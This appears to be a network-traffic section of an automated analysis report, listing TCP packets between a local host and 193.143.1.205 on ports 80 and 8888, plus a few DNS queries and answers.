Jan 11, 2025 02:58:07.245944977 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245945930 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245958090 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.245970011 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.245997906 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.246011019 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246066093 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246077061 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246103048 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.246112108 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246124029 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246134996 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246149063 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.246170044 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.246268988 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246280909 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246290922 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246301889 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246337891 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.246377945 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246388912 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246400118 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246414900 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246426105 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246436119 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246444941 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.246445894 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.246476889 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.264121056 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.272310019 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.281804085 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.281816959 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.281851053 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.281908989 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.281946898 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.281951904 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.281958103 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.281964064 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.281997919 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.282016039 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282025099 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282048941 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.282059908 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282072067 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282082081 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282099962 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.282124043 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.282196999 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282207966 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282218933 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282258987 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282262087 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.282270908 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282282114 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282290936 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.282315969 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282320976 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.282325983 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.282368898 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.287808895 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.287877083 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.287888050 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.287902117 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.287914991 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.287931919 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.287980080 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289333105 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289344072 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289355040 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289365053 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289370060 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289388895 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289402008 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289412975 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289422035 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289442062 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289460897 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289469957 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289477110 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289489031 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289498091 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289510965 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289534092 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289627075 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289643049 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289654016 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289664030 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289674997 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289674997 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289686918 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.289694071 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289721012 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.289731979 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.294022083 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.294040918 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.294051886 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.294063091 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.294087887 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.294090986 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.294130087 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.294141054 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.294152021 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.294163942 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.294188976 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.335799932 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335812092 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335822105 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335834026 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335848093 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.335894108 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.335897923 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335908890 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335920095 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335930109 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335953951 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.335956097 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335968018 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.335993052 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.336020947 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.336105108 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.336114883 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.336124897 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.336136103 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.336157084 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.336165905 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.336178064 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.343821049 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.343844891 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.343856096 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.343859911 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.343887091 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.343925953 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.343938112 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.343966961 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.343976021 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.343982935 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.343986988 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344007015 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344078064 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344089985 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344099998 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344105959 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344110966 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344129086 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344141006 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344189882 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344207048 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344218969 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344249964 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344264984 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344275951 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344302893 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344311953 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344314098 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344352007 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344353914 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344428062 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344439983 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344450951 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344461918 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344466925 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344506025 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344510078 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344542027 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344575882 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344587088 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344603062 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344624043 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344655991 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344667912 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344690084 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344757080 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344768047 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344779015 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344789028 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344793081 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344795942 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344826937 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344850063 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344897985 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344932079 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.344934940 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.344945908 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345088959 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345099926 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345109940 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345114946 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345115900 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345136881 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345141888 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345148087 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345194101 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345202923 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345235109 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345238924 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345249891 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345280886 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345309019 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345343113 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345352888 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345374107 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345434904 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345444918 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345455885 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345469952 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345484972 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345530987 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345541000 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345551968 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345583916 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345637083 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345647097 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345658064 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345668077 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345671892 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345678091 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.345705032 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.345762968 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.370851994 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.370882988 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.370893955 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.370918036 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.371027946 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371037960 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371048927 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371061087 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371073008 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371074915 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.371083021 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371103048 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371104956 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.371140957 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.371191978 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371202946 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371212959 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371222973 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.371243000 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.371256113 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.379195929 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379206896 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379218102 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379245043 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.379292011 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379303932 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379322052 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379328966 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.379333019 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379358053 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.379396915 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379407883 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379417896 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379439116 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.379443884 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379455090 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379462957 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.379465103 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379472017 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379481077 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.379498959 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.379523993 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.382766008 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.382802963 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.382816076 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.382826090 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.382853031 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.382859945 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.382863998 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.382900953 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.382920980 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.382931948 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.382941961 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.382967949 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.424711943 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.424729109 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.424740076 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.424760103 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.424793005 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.424815893 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.424825907 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.424835920 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.424845934 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.424871922 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.424902916 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.424952984 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.424962997 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.425000906 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.425081015 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.425092936 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.425102949 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.425167084 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.425183058 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.425193071 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.425194025 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.425203085 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.425220966 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.425241947 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.432585955 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432626009 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432627916 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.432636976 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432665110 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.432687998 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432698965 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432708979 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432733059 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.432756901 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432768106 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432787895 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432794094 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.432799101 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432820082 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432826996 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.432856083 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.432868004 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432878971 CET	80	49726	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:07.432919979 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.473412991 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:07.869138002 CET	49726	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:08.266855001 CET	49742	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:08.271807909 CET	8888	49742	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:08.271903992 CET	49742	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:08.272547960 CET	49742	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:08.277303934 CET	8888	49742	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:09.048187971 CET	8888	49742	193.143.1.205	192.168.2.7
Jan 11, 2025 02:58:09.096617937 CET	49742	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:58:10.025278091 CET	49742	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:57:58.574067116 CET	56419	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:58:00.094451904 CET	57189	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:58:16.491369009 CET	65170	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:57:58.574067116 CET	192.168.2.7	1.1.1.1	0x7e9a	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:58:00.094451904 CET	192.168.2.7	1.1.1.1	0x7ac5	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:58:16.491369009 CET	192.168.2.7	1.1.1.1	0xdb30	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:57:58.581142902 CET	1.1.1.1	192.168.2.7	0x7e9a	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
